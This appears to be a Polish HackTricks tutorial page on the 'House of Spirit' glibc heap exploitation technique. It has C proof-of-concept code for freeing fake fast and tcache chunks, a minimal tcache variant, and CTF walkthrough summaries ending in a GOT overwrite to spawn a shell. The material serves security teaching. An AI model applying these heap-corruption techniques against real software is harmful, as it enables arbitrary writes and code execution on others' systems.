House of Spirit

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Kod

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### Cel

- Móc dodać adres do tcache / fast bin, aby później można go było przydzielić

### Wymagania

- Ten atak wymaga, aby atakujący potrafił stworzyć parę fake fast chunks, które poprawnie wskazują wartość pola size, a następnie zwolnić pierwszy fake chunk, aby trafił do binu.
- Z **tcache (glibc ≥2.26)** atak jest jeszcze prostszy: potrzebny jest tylko jeden fake chunk (na ścieżce tcache nie jest wykonywana kontrola next-chunk size), pod warunkiem że fake chunk jest wyrównany do 0x10 i jego pole size mieści się w prawidłowym tcache binie (0x20-0x410 na x64).

### Atak

- Stwórz fake chunks, które omijają kontrole bezpieczeństwa: będziesz potrzebować 2 fake chunks, wskazujących we właściwych miejscach poprawne rozmiary
- W jakiś sposób zwolnij pierwszy fake chunk, aby trafił do fast lub tcache bin, a następnie przydziel go, aby nadpisać ten adres

**Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **świetnie wyjaśnia ten atak.** Poniższy schemat z kodu podsumowuje to całkiem dobrze:

<details>
<summary>Układ fake chunków</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

Zauważ, że konieczne jest utworzenie drugiego chunk, aby obejść niektóre sanity checks.

Tcache house of spirit (glibc ≥2.26)

  • W nowoczesnym glibc tcache fast-path wywołuje tcache_put przed weryfikacją rozmiaru następnego chunk/prev_inuse, więc tylko bieżący fake chunk musi wyglądać poprawnie.
  • Wymagania:
  • Fake chunk musi być wyrównany do 16 bajtów i nie może być oznaczony jako IS_MMAPPED/NON_MAIN_ARENA.
  • size musi należeć do binu tcache i zawierać ustawiony bit prev_inuse (size | 1).
  • Tcache dla tego binu nie może być pełny (domyślnie maks. 7 wpisów).
  • Minimalny PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking nie stanowi tu przeszkody: forward pointer przechowywany w tcache jest automatycznie kodowany jako fd = ptr ^ (heap_base >> 12) podczas free, więc atakujący nie musi znać klucza używając pojedynczego fake chunku.
  • Ta wariacja jest przydatna, gdy glibc hooks zostały usunięte (≥2.34) i chcesz szybkiego arbitrary write lub nachodzić na docelowy bufor (np. stack/BSS) tcache chunkiem bez tworzenia dodatkowych korupcji.

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Dzięki overflowowi można zmienić pointer tak, by wskazywał na adres w GOT, aby leak a libc address via the read action of the CTF

  • House of Spirit: Nadużywając licznika zliczającego liczbę “rifles”, można wygenerować fake size pierwszego fake chunka, następnie nadużywając “message” można sfałszować drugi rozmiar chunku i wreszcie nadużywając overflow da się zmienić pointer, który zostanie freed, więc nasz pierwszy fake chunk zostaje freed. Potem możemy go alokować i wewnątrz znajdzie się adres, gdzie przechowywane jest “message”. Następnie można sprawić, by wskazywał na wpis scanf w tablicy GOT, dzięki czemu nadpisujemy go adresem do system. Następnym razem, gdy scanf zostanie wywołane, możemy wysłać input "/bin/sh" i uzyskać shell.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Niezinicjalizowany bufor na stosie.

  • House of Spirit: Możemy zmodyfikować pierwszy indeks globalnej tablicy heap pointers. Jednobajtową modyfikacją używamy free na fake chunku wewnątrz prawidłowego chunku, co powoduje overlapping chunks po ponownej alokacji. Dzięki temu prosty Tcache poisoning pozwala uzyskać arbitrary write primitive.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks